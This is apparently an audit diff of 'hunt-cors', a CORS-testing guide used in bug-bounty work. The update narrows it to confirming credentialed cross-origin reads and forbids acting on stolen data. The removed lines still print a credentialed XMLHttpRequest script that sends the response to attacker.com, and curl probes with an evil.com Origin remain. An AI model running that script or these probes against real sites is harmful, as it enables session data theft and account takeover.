hunt-cors · diff
git:20260923.82a4143 to git:20260929.29bbcb8
30 added, 25 removed. Audit B to A.
What this update changes in the checks
This update trips no new check.
It clears 1 check: No script tag.
A tripped check is a label, not a verdict: read the matched text and the lines below. This week's updates that newly trip a check.
---
name: hunt-cors
- description: CORS — origin reflection, null origin, preflight abuse, wildcard detection. Chains to session hijacking and ATO.
+ description: CORS — origin reflection, null origin, preflight abuse, wildcard detection. Establishes whether credentialed cross-origin reads are actually possible.
---
- # CORS HUNTING — 3 BULLETS MAX
+ # CORS ASSESSMENT
- **Core:** CORS bugs chain to full ATO with one reflected Origin.
+ **Core:** the only question that matters is whether a hostile origin can read
+ an authenticated response. A reflected `Origin` without `Access-Control-
+ Allow-Credentials: true` is not exploitable and must not be reported.
## DETECTION
```bash
curl -s -I -H "Origin: https://evil.com" "https://target.com/api/userinfo" | grep -i "access-control"
- # If ACAO reflects evil.com + ACAC: true → VULNERABLE
+ # ACAO reflects evil.com AND ACAC: true → credentialed read is possible
curl -s -I -H "Origin: null" "https://target.com/api/userinfo" | grep -i "access-control"
+ # Also check the OPTIONS preflight response, which is what the browser enforces
+ curl -s -X OPTIONS -H "Origin: https://evil.com" \
+ -H "Access-Control-Request-Method: POST" \
+ -H "Access-Control-Request-Headers: authorization" \
+ "https://target.com/api/userinfo" -D- -o /dev/null
```
- ## ATTACKS
+ ## WHAT ACTUALLY MATTERS
```
- Origin reflection: server reflects any Origin → credentialed data theft
- Null origin: sandboxed iframe sends Origin: null → data theft
- Subdomain trust: *.target.com trusted + XSS on subdomain → full ATO
- Pre-flight: OPTIONS allows evil Origin + credentials header
- HTTP→HTTPS downgrade: Origin not checked on HTTP endpoints
+ Origin reflected + ACAC: true + sensitive response → exploitable
+ Origin reflected + ACAC absent/false → NOT exploitable
+ ACAO: * (no credentials) → NOT exploitable on authed data
+ Null origin + ACAC: true → exploitable from a sandboxed iframe
+ Trusted subdomain list + wildcard → check which hosts are actually trusted
+ HTTP endpoint missing origin check → may bypass an HTTPS-only policy
```
- ## EXPLOIT (steal data)
- ```html
- <script>
- var r=new XMLHttpRequest();r.open("GET","https://target.com/api/userinfo",true);
- r.withCredentials=true;
- r.onreadystatechange=function(){if(r.readyState==4&&r.status==200)fetch("https://attacker.com/log?data="+encodeURIComponent(r.responseText))};
- r.send();
- </script>
- ```
+ ## PROOF (minimum sufficient)
- ## CHAINS
- ```
- CORS reflection + credentials → ATO ($1K → $50K)
- Subdomain trust + XSS → full ATO chain ($1K → $50K)
- Null origin + sandboxed iframe → data theft ($500 → $10K)
- ```
+ To confirm the read, show the response body actually crosses origins under
+ `withCredentials` — a PoC page plus the returned payload. **Do not then use
+ the stolen data to act** (no account takeover, no state change). A single
+ demonstrated cross-origin read is the complete finding.
+
+ ## REPORTING NOTES
+ - Report the credentialed read and the data it exposes. That is the severity.
+ - Where it *could* compound with XSS on a trusted subdomain, note it as a
+ compound-risk line; do not go find the XSS to justify a higher severity.
+ - `Access-Control-Allow-Origin: *` on public, non-credentialed endpoints is
+ correct behavior — reject it (Gate 6).